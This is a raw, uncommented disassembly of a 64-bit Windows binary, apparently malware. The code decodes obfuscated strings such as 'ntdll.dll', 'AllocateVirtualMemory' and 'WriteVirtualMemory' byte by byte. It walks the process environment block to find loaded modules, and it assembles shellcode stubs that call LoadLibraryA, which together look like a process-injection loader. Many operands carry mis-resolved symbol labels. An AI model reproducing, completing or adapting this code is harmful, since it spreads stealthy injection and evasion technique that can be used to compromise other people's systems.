mov edi, dword [r10 + 0xb0]
movzx edx, word [r10 + 0x14]
add rdx, 0x18
add rdx, r10
movzx eax, word [r10 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x14002edf0
mov r11d, dword [rdx + 0x14]
sub r11, rcx
add r11, rdi
add r11, qword [rbp + 0xbc8]
xor eax, eax
jmp 0x1400245d2
mov ecx, dword [rdi + 0x14]
sub rcx, r8
add rcx, r9
mov r9, qword [rbp + 0xbc8]
add rcx, r9
mov qword [rsp + 0x70], rcx
je 0x14002edcd
mov r8d, dword [r11 + 0x10]
mov edi, dword [rdx + 0xc]
cmp r8, rdi
jb 0x1400246c8
mov eax, dword [rdx + 8]
add eax, edi
cmp r8, rax
jb 0x140024973
add rdx, 0x28
cmp rdx, r10
jb 0x1400246b2
xor eax, eax
mov qword [rsp + 0x70], rcx
mov qword [rbp + 0xbd8], rax
mov rdx, rcx
lea rcx, [rbp + 0xf40]
call fcn.140036a08
mov byte [rbp + 8], reloc.WS2_32.dll_WSASetLastError
mov edi, 7
mov r9d, edi
xor r8d, r8d
mov dl, 0x61
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + 9], al
mov r9d, edi
lea r12d, [rdi - 6]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + 0xa], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x69
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + 0xb], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + 0xc], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x6d
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + 0xd], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + 0xe], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + 0xf], al
xor eax, eax
mov byte [rbp + 0x10], al
mov edi, eax
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi + 9]
lea rcx, [rbp + 8]
call fcn.140036288
mov byte [rbp + rdi + 9], al
add rdi, r12
cmp rdi, 7
jb 0x140024793
xor eax, eax
lea r12d, [rax + 0x15]
mov byte [rbp + 0x10], al
lea rax, [rbp + 0xbe0]
mov qword [rsp + 0x20], rax
lea r9d, [r12 - 0xe]
xor r8d, r8d
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0xbf8]
call fcn.140036b74
lea rdx, [rbp + 9]
lea rcx, [rbp + 0xbf8]
call fcn.1400374e4
mov dil, al
lea rcx, [rbp + 0xbf8]
call fcn.140036920
test dil, dil
je 0x140024984
mov byte [rbp + 0x38], 8
lea edi, [r12 - 9]
mov r9d, edi
xor r8d, r8d
mov dl, 0x75
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x39], al
mov r9d, edi
lea r15d, [r12 - 0x14]
mov r8d, r15d
mov dl, 0x63
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x3a], al
mov r9d, edi
lea r8d, [r12 - 0x13]
mov dl, WSAStartup
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x3b], al
mov r9d, edi
lea r8d, [r12 - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x3c], al
mov r9d, edi
lea r8d, [r12 - 0x11]
mov dl, 0x62
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x3d], al
mov r9d, edi
lea r8d, [r12 - 0x10]
mov dl, 0x61
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x3e], al
mov r9d, edi
lea r8d, [r12 - 0xf]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x3f], al
mov r9d, edi
lea r8d, [r12 - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x40], al
mov r9d, edi
lea r8d, [r12 - 0xd]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x41], al
mov r9d, edi
lea r8d, [r12 - 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x42], al
mov r9d, edi
lea r8d, [r12 - 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x43], al
mov r9d, edi
lea r8d, [r12 - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + 0x44], al
xor eax, eax
mov byte [rbp + 0x45], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x39]
lea rcx, [rbp + 0x38]
call fcn.14003646c
mov byte [rbp + rdi + 0x39], al
add rdi, r15
cmp rdi, 0xc
jb 0x140024927
xor edi, edi
mov byte [rbp + 0x45], dil
lea rax, [rbp + 0x39]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x140024958
lea rdx, [rbp + 0x39]
lea rcx, [rbp + 0xf40]
call fcn.140036bfc
jmp 0x140024986
mov eax, dword [rdx + 0x14]
sub rax, rdi
add rax, r9
add rax, r8
jmp 0x1400246d8
xor edi, edi
mov dword [rbp + 0x28238], 0x28ec8348
mov qword [rbp + 0x2823c], 0xb948
mov dword [rbp + 0x28244], 0xb8480000
and qword [rbp + 0x28248], 0
mov dword [rbp + 0x28250], 0xa348d0ff
and qword [rbp + 0x28254], 0
mov dword [rbp + 0x2825c], 0x28c48348
mov byte [rbp + 0x28260], Ordinal_200
mov dword [rbp + 0x28200], 0x28ec8348
mov qword [rbp + 0x28204], 0xba48
mov dword [rbp + 0x2820c], 0xb9480000
and qword [rbp + 0x28210], 0
mov qword [rbp + 0x28218], 0xb848
mov dword [rbp + 0x28220], 0xd0ff0000
mov qword [rbp + 0x28224], 0xa348
mov dword [rbp + 0x2822c], 0x83480000
mov word [rbp + 0x28230], 0x28c4
mov byte [rbp + 0x28232], Ordinal_200
mov qword [rbp + 0xd40], rdi
mov qword [rbp + 0xf08], 0x1000
mov byte [rbp + 0x7d8], 0x44
mov r9, r14
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7d9], al
mov r9, r14
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7da], al
mov r9, r14
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7db], al
mov r9, r14
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7dc], al
mov r9, r14
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7dd], al
mov r9, r14
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7de], al
mov r9, r14
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7df], al
mov r9, r14
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e0], al
mov r9, r14
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e1], al
mov r9, r14
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e2], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e3], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e4], al
mov r9, r14
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e5], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e6], al
mov r9, r14
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e7], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e8], al
mov r9, r14
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7e9], al
mov r9, r14
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7ea], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7eb], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7ec], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7ed], al
mov r9, r14
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7ee], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + 0x7ef], al
xor eax, eax
mov byte [rbp + 0x7f0], al
lea r12d, [rax + 1]
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7d9]
lea rcx, [rbp + 0x7d8]
call fcn.140036134
mov byte [rbp + rdi + 0x7d9], al
add rdi, r12
cmp rdi, r14
jb 0x140024ce2
xor edi, edi
lea r12d, [rdi + 0x15]
mov byte [rbp + 0x7f0], dil
mov byte [rbp + 0xf8], 0x45
lea r15d, [rdi + 9]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0xf9], al
mov r9d, r15d
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0xfa], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0xfb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0xfc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0xfd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0xfe], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0xff], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0x100], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + 0x101], al
xor eax, eax
mov byte [rbp + 0x102], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xf9]
lea rcx, [rbp + 0xf8]
call fcn.140035cf8
mov byte [rbp + rdi + 0xf9], al
add rdi, r15
cmp rdi, 9
jb 0x140024e26
mov r15d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0x102], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140024f8b
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x48], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140024f09
lea ebx, [rcx + 1]
mov r11d, ebx
mov rdx, qword [rsp + 0x70]
mov r15, qword [rbp - 0x78]
mov ecx, r11d
cmp word [r15 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + r8*2]
mov byte [r9 + r8], al
add r11d, ebx
add r8, rbx
cmp r8, r10
jl 0x140024ed2
mov ebx, reloc.WS2_32.dll_recvfrom
lea r15d, [rbx + 0xf]
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140024f65
mov rax, rcx
lea r9, [rbp + 0xf9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140024f5e
add rax, r11
test edx, edx
jne 0x140024f49
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140026388
mov rax, qword [rbp - 0x48]
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
cmp rax, qword [rbp - 0x80]
jne 0x140024e84
mov rax, qword [rbp + 0xd40]
mov qword [rbp + 0xbd0], rax
mov qword [rbp + 0xd48], r9
mov qword [rbp + 0xf18], 0x1000
mov byte [rbp + 0x718], 0x44
mov r9, r14
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x719], al
mov r9, r14
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x71a], al
mov r9, r14
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x71b], al
mov r9, r14
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x71c], al
mov r9, r14
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x71d], al
mov r9, r14
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x71e], al
mov r9, r14
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x71f], al
mov r9, r14
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x720], al
mov r9, r14
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x721], al
mov r9, r14
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x722], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x723], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x724], al
mov r9, r14
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x725], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x726], al
mov r9, r14
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x727], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x728], al
mov r9, r14
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x729], al
mov r9, r14
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x72a], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x72b], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x72c], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x72d], al
mov r9, r14
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x72e], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + 0x72f], al
xor eax, eax
mov byte [rbp + 0x730], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x719]
lea rcx, [rbp + 0x718]
call fcn.140036134
mov byte [rbp + rdi + 0x719], al
add rdi, rbx
cmp rdi, r14
jb 0x14002524b
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x730], dil
mov byte [rbp + 0xe8], 0x45
lea r15d, [rbx - 8]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xe9], al
mov r9d, r15d
lea r15d, [rbx - 0x10]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xea], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xeb], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xec], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xed], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xee], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xef], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xf0], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + 0xf1], al
xor eax, eax
mov byte [rbp + 0xf2], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xe9]
lea rcx, [rbp + 0xe8]
call fcn.140035cf8
mov byte [rbp + rdi + 0xe9], al
add rdi, r15
cmp rdi, 9
jb 0x140025390
mov r15d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0xf2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400254ef
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x48], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14002546d
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov r14, qword [rbp - 0x78]
mov ecx, r11d
cmp word [r14 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x14002543d
mov r13d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x1400254c9
mov rax, rcx
lea r9, [rbp + 0xe9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400254c2
add rax, r11
test edx, edx
jne 0x1400254ad
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x1400265ef
mov rax, qword [rbp - 0x48]
mov rax, qword [rax]
mov qword [rbp - 0x48], rax
cmp rax, qword [rbp - 0x80]
jne 0x1400253ee
mov rax, qword [rbp + 0xd48]
mov qword [rbp - 0x48], rax
mov rcx, qword [rbp + 0xbd0]
mov qword [rbp + 0x2823e], rcx
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x28248], rax
lea rax, [rcx + 0x500]
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x28254], rax
mov rax, qword [rbp + 0xf50]
mov qword [rbp - 0x70], rax
lea rcx, [rbp + 0xf40]
call fcn.140036764
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x6b0], bl
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b1], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b2], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b3], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b4], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b5], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b6], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b7], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b8], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6b9], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6ba], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6bb], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6bc], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6bd], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6be], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6bf], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6c0], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6c1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6c2], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6c3], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + 0x6c4], al
xor eax, eax
mov byte [rbp + 0x6c5], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6b1]
lea rcx, [rbp + 0x6b0]
call fcn.1400364e8
mov byte [rbp + rdi + 0x6b1], al
add rdi, r12
cmp rdi, rsi
jb 0x140025781
xor edi, edi
mov byte [rbp + 0x6c5], dil
mov byte [rbp + 0xd8], 0x58
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xd9], al
mov r9d, ebx
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xda], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xdb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xdc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xdd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xde], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xdf], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xe0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + 0xe1], al
xor eax, eax
mov byte [rbp + 0xe2], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd9]
lea rcx, [rbp + 0xd8]
call fcn.140035cf8
mov byte [rbp + rdi + 0xd9], al
add rdi, rbx
cmp rdi, 9
jb 0x1400258bf
mov ebx, reloc.WS2_32.dll_recvfrom
xor r9d, r9d
mov byte [rbp + 0xe2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140025a23
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x218], rax
mov qword [rbp - 0x68], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x80], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
